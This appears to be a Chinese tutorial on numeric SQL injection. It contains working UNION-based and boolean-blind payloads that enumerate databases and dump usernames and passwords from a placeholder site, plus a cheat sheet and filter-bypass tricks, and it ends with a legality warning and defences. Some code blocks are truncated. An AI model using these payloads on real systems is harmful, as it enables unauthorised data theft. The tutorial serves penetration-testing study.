数字型SQL注入

数字型SQL注入
知闲数字型SQL注入
一、数字型注入核心原理
数字型注入是SQL注入的经典类型,核心特征是后端接收的参数为数字类型(如ID、页码、编号等),且后端拼接SQL语句时,参数无引号/双引号包裹,直接作为数字参与SQL执行。
典型场景
后端代码示例(PHP):
$id = $_GET['id']; |
攻击者可直接通过拼接布尔条件、联合查询等方式篡改SQL语句,且无需像字符型注入那样闭合引号,这是数字型注入最核心的区别。
核心差异(与字符型注入对比)
| 维度 | 数字型注入 | 字符型注入 |
|---|---|---|
| 参数包裹方式 | 无引号/双引号包裹 | 单引号/双引号包裹 |
| 基础判断Payload | ?id=1 AND 1=2 |
?id=1' AND 1=2 --+ |
| 闭合要求 | 无需闭合引号 | 必须闭合引号('/") |
二、判断是否存在数字型注入(核心步骤)
判断核心:构造无引号的布尔条件,观察页面是否随条件真假呈现“显式差异”(数据回显变化、报错、内容消失等),区别于盲注的“隐式状态差异”。
步骤1:基础布尔条件测试(核心判断)
目标URL示例:http://test.com/index.php?id=1(假设id为数字参数)
| 测试类型 | Payload | 预期结果 | 判定依据 |
|---|---|---|---|
| 恒真条件 | http://test.com/index.php?id=1 AND 1=1 |
页面正常显示id=1对应的内容 |
两组条件呈现稳定显式差异 |
| 恒假条件 | http://test.com/index.php?id=1 AND 1=2 |
页面无数据/显示“无结果”/内容消失 | 则判定存在数字型注入 |
步骤2:验证是否为“显式注入”(有直接回显)
构造报错型Payload,确认是否能触发SQL语法报错(进一步验证注入点):
# MySQL报错测试(利用除以0报错) |
步骤3:排除过滤/干扰(进阶验证)
若基础Payload无效果,尝试绕过常见过滤:
# 空格绕过:用/**/、()替代空格 |
三、数字型注入完整攻击步骤(显注场景,有直接回显)
以下步骤基于“有回显”的显式注入场景(最典型),目标URL:http://test.com/index.php?id=1。
步骤1:确认注入点字段数(ORDER BY法)
核心:通过ORDER BY判断查询语句的字段数(即SELECT后列的数量)。
# 测试字段数是否为3(逐步调整数值,直到页面异常) |
步骤2:找到回显位(UNION SELECT法)
核心:利用UNION SELECT拼接空值,确定哪些字段会在页面回显。
# 构造UNION查询(数字型无需引号,字段数与目标一致) |
注:
id=-1的作用是让原SQL查询(id=-1)无结果,确保UNION SELECT的内容能被回显。
步骤3:列数据库名(当前库+所有库)
(1)查询当前数据库名
# 利用回显位(第2位)显示当前数据库名 |
(2)查询所有数据库名
# 拼接所有数据库名(MySQL用GROUP_CONCAT,避免多行仅显一行) |
步骤4:列指定数据库的表名(以testdb为例)
# 列出testdb库下的所有表名(回显位第2位) |
注:若数据库名含特殊字符或过滤,可改用ASCII码/十六进制:
TABLE_SCHEMA=0x746573746462(0x746573746462是testdb的十六进制)。
步骤5:列指定表的字段名(以testdb.users为例)
# 列出users表的所有字段名 |
步骤6:列指定字段的内容(以users表的username/password为例)
# 列出users表中所有用户名和密码(拼接显示) |
注:若数据量较大,可通过
LIMIT分页查询:
http://test.com/index.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),3 FROM testdb.users LIMIT 0,1 # 第一条数据
http://test.com/index.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),3 FROM testdb.users LIMIT 1,1 # 第二条数据
四、数字型盲注(无回显场景)补充步骤
若数字型注入无直接回显(仅布尔状态差异),则采用布尔盲注逻辑(无需引号):
步骤1:猜解当前数据库名长度
http://test.com/index.php?id=1 AND LENGTH(database())=6 # 页面正常 → 长度为6 |
步骤2:逐字符猜解数据库名
http://test.com/index.php?id=1 AND ASCII(SUBSTR(database(),1,1))=116 # 第1位ASCII=116→'t' |
步骤3:后续表/字段/数据猜解(同布尔盲注,仅去掉引号)
# 猜解testdb库下users表的第一个字段名长度 |
五、数字型注入核心Payload汇总
| 用途 | Payload示例(目标URL:?id=1) |
|---|---|
| 判断注入存在 | ?id=1 AND 1=2(无数据)、?id=1 AND 1=1(有数据) |
| 查字段数 | ?id=1 ORDER BY 3(正常)、?id=1 ORDER BY 4(异常) |
| 找回显位 | ?id=-1 UNION SELECT 1,2,3 |
| 查当前数据库名 | ?id=-1 UNION SELECT 1,database(),3 |
| 查所有数据库名 | ?id=-1 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM information_schema.SCHEMATA |
| 查指定库表名 | ?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='testdb' |
| 查指定表字段名 | ?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='testdb' AND TABLE_NAME='users' |
| 查字段内容 | ?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM testdb.users |
| 布尔盲注猜长度 | ?id=1 AND LENGTH(database())=6 |
| 布尔盲注猜字符 | ?id=1 AND ASCII(SUBSTR(database(),1,1))=116 |
六、关键注意事项
- 核心特征:数字型注入无需闭合引号,所有Payload均无
'/",这是与字符型注入最核心的区别; - 过滤绕过:
- 空格过滤:用
/**/、()、%09(Tab)替代; - 关键字过滤:大小写(
AnD)、双写(ANANDD)、替代符(&&替代AND,||替代OR); - 函数过滤:
database()被拦截时,改用(SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1);
- 空格过滤:用
- 数据库差异:
- MySQL:
GROUP_CONCAT()、information_schema; - SQL Server:
STUFF()、sys.databases/sys.tables; - Oracle:
WM_CONCAT()、all_tables/all_tab_columns;
- MySQL:
- 合法性:仅允许在授权的合法测试环境下操作,未经授权攻击他人系统属于违法行为;
- 防御方案:使用参数化查询(预编译语句)、校验参数类型(强制转为数字)、最小权限原则配置数据库账号。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果


